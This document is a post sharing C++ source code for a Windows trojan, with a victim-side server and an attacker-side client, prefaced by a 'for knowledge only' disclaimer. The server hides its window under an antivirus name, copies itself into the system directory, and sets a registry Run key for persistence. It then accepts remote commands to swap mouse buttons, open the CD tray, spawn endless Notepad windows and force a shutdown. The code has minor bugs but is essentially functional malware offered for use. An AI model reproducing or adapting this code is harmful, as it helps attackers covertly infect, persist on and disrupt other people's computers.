Trojan Code in C++

Im sharing it only for knowledge and no bad intentions.Please don't use it in bad purposes.


***** CODE FOR SERVER FOLLOWS *********

#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
   SetConsoleTitle("Norton AntiVirus");
   hide = FindWindow(NULL, "Norton AntiVirus");
   ShowWindow(hide, 0); 
}

void GetPaths()
{
   GetSystemDirectory(Windir, sizeof(Windir));
   GetModuleFileName(0, Module, sizeof(Module));
   strcat(Windir, "\\WindowsAPICalls.exe");
}   

void Install()
{   
   CopyFile(Module,Windir,0);
  
   HKEY Install;
   RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
   RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
   RegCloseKey(Install);
}   

int ServerInitialize()
{
   WSADATA wsaData;
   int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
   if ( iResult != NO_ERROR )
   {
       WSACleanup();
       system(Module);
       return 0;
   }
  
   else
   {
       cout << "Winsock initialized." << "\n";
   }   
     
   Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  
   if (Socket == INVALID_SOCKET )
   {
       WSACleanup();
       system(Module);
       return 0;
   }
  
   else
   {
       cout << "Socket created." << "\n";
   }
      
   sockaddr_in service;
   service.sin_family = AF_INET;
   service.sin_addr.s_addr = INADDR_ANY;
   service.sin_port = htons(5432);

   if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
   {
       closesocket(Socket);
       system(Module);
       return 0;
   }
  
   else
   {
       cout << "Socket bound successfully." << "\n";
   }   
   if (listen( Socket, 1 ) == SOCKET_ERROR )
       cout << "Error listening on socket." << "\n";

   SOCKET AcceptSocket;

   cout << "Waiting for a client to connect..." << "\n";
       AcceptSocket = SOCKET_ERROR;
       while (AcceptSocket == SOCKET_ERROR )
       {
           AcceptSocket = accept(Socket, NULL, NULL );
       }
       cout << "Client Connected."<< "\n";
       Socket = AcceptSocket;
}   

void Shutdown()
{
   char Message[MAX_PATH]="Your computer is infected with a malicious virus!";
   InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
   mciSendString("set cdaudio door open", 0, 0, 0);
   mciSendString("set cdaudio door open", 0, 0, 0); 
}   

void Bomb()
{
   HWND hwnd;
   char Notepad[MAX_PATH]="notepad.exe";
   for(;;)
   {
   ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
   }
}       

void LeftMouse()
{
   SwapMouseButton(true);
}   

void RightMouse()
{
   SwapMouseButton(false);
}           

void Receive()
{   
   for(;;)
   {
       char Choice[MAX_PATH]="";
       cout << "Waiting for commands, sir!" << "\n";
       recv(Socket, Choice, sizeof(Choice), 0);
       cout << Choice << "\n";
       if (!strcmp(Choice,"1"))
           {
               LeftMouse();
               const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
               send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
           }
       if (!strcmp(Choice,"2"))
           {
               RightMouse();
               const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
               send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
           }   
       if (!strcmp(Choice,"3"))
           {
               OpenCloseCDTray();
               const char c_CDTray[MAX_PATH]={"CD Tray opened.  Closed if not on a laptop."};
               send(Socket,c_CDTray, sizeof(c_CDTray),0);
           } 
       if (!strcmp(Choice,"4"))
           {
               Shutdown();
               const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
               send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
           }               
   }   
}                  

int main()
{
   Hide();
   GetPaths();
   if(!strcmp(Windir,Module))
   {
       ServerInitialize();   
       Receive();
   }   
   else
   {
       Install();
       ServerInitialize();   
       Receive();
   } 
   return 0; 
}






***** CODE FOR CLIENT FOLLOWS *********








#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;

SOCKET Socket;

int ClientInitialize()
{
   char IP[MAX_PATH];
   cout << "Enter IP: ";
   cin >> IP;
  
   WSADATA wsaData;
   int iResult;
   iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
   if ( iResult != NO_ERROR )
   {
       cout << "Error at WSAStartup()\n";
       cin.ignore();
       return 0;
   }   
   else
   {
       cout << "Winsock intialized.\n";
   }   
  
   Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   if (Socket == INVALID_SOCKET)
   {
       cout << "Error at socket(): %ld\n",WSAGetLastError();
       WSACleanup();
       cin.ignore();
       return 0;
   }
   else
   {
       cout << "Socket initialized" << "\n";
   } 
    
   sockaddr_in clientService;
   clientService.sin_family = AF_INET;
   clientService.sin_addr.s_addr = inet_addr( IP );
   clientService.sin_port = htons(5432);
  
   if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
   {
       cout << "Failed to connect.\n";
       WSACleanup();
       cin.ignore();
       return 0;
   }
  
   else
   {
     cout << "Connected to server." << "\n";
   }  
}

int exit()
{
   return 0;
}      

void Send()
{
   for(;;)
   {
      
       char Choice[MAX_PATH];
       cout << "List of commands:" << "\n";
       cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
       cout << "3. Open\\Close CD Tray" << "\n" << "4. Notepad Bomb" << "\n";
       cout << "5. Shutdown." << "\n";
       cout << "Take your pick: ";
       cin >> Choice;
       send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
       char ServerResponse[MAX_PATH];
       recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
       cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
       cout << "\n" << "\n" << "\n" << "\n" << "\n";
       Sleep(2000);
   }   
}   

int main()
{
   SetConsoleTitle(".=.quickbolt's Trojan.=.");
   ClientInitialize();
   Send();
   cin.ignore();
   return 0;
}